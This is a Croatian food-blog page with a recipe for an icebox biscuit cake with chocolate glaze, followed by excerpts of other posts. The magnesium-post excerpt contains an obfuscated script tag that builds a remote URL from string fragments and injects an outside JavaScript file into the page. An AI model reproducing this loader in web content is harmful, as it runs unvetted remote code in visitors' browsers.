LEDENA TORTA OD KEKSA 🍰





Ledena torta od keksa 




Kad temperature porastu, hladni deserti postaju najpoželjniji završetak svakog ručka, večere ili ljetnog druženja. Upravo je takva ova ledena torta od keksa, slatkog vrhnja i čokolade: kremasta, efektna i dovoljno jednostavna da uspijeva i onima koji se ne žele dugo zadržavati u kuhinji.





Ledena torta od keksa 



Sastojci:

  • 400 mililitara slatkog vrhnja za šlag
  • 40 grama šećera
  • 200 grama digestive keksa
  • 200 grama čokolade za kuhanje
  • pola šalice mlijeka
  • 50 grama tostiranih badema




Priprema:

U zdjeli pomiješajte slatko vrhnje i šećer pa miksajte dok ne dobijete čvrsti šlag. Od ukupne količine vrhnja odvojite 50 mililitara u tekućem obliku jer će vam kasnije trebati za pripremu čokoladne glazure.

Kekse kratko umačite u mlijeko, jedan po jedan, pazeći da ih ne natopite previše kako se ne bi raspali. Zatim ih slažite jedan na drugi, a između svakog keksa nanesite sloj tučenog vrhnja. Tako ćete postupno dobiti visoku tortu od slojeva keksa i kreme.

Kad potrošite kekse i šlag, bočne strane torte premažite preostalim tučenim vrhnjem uz pomoć špatule. Stavite je u zamrzivač i ostavite dok se potpuno ne stisne.

Za glazuru zagrijte odvojenih 50 mililitara slatkog vrhnja do vrenja, maknite s vatre i dodajte nasjeckanu čokoladu. Miješajte dok se čokolada potpuno ne otopi i dok ne dobijete glatku, sjajnu kremu.

Zaleđenu tortu stavite na rešetku, a kada se čokoladna glazura malo ohladi, ali se još nije stisnula, pažljivo je prelijte preko torte tako da je prekrije tankim slojem. Na kraju pospite nasjeckanim tostiranim bademima i poslužite.

Ovaj se desert lako može prilagoditi onome što imate kod kuće. Umjesto digestive keksa možete koristiti petit beurre ili kekse tipa Maria, između slojeva dodati malo naribane čokolade, a površinu ukrasiti kakaom, čokoladnim strugotinama, bobičastim voćem ili omiljenim orašastim plodovima.

Tajna savršene teksture krije se u vremenu hlađenja. Tortu je važno dobro zamrznuti, ali je prije posluživanja treba ostaviti nekoliko minuta na sobnoj temperaturi kako bi omekšala i postala još kremastija.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više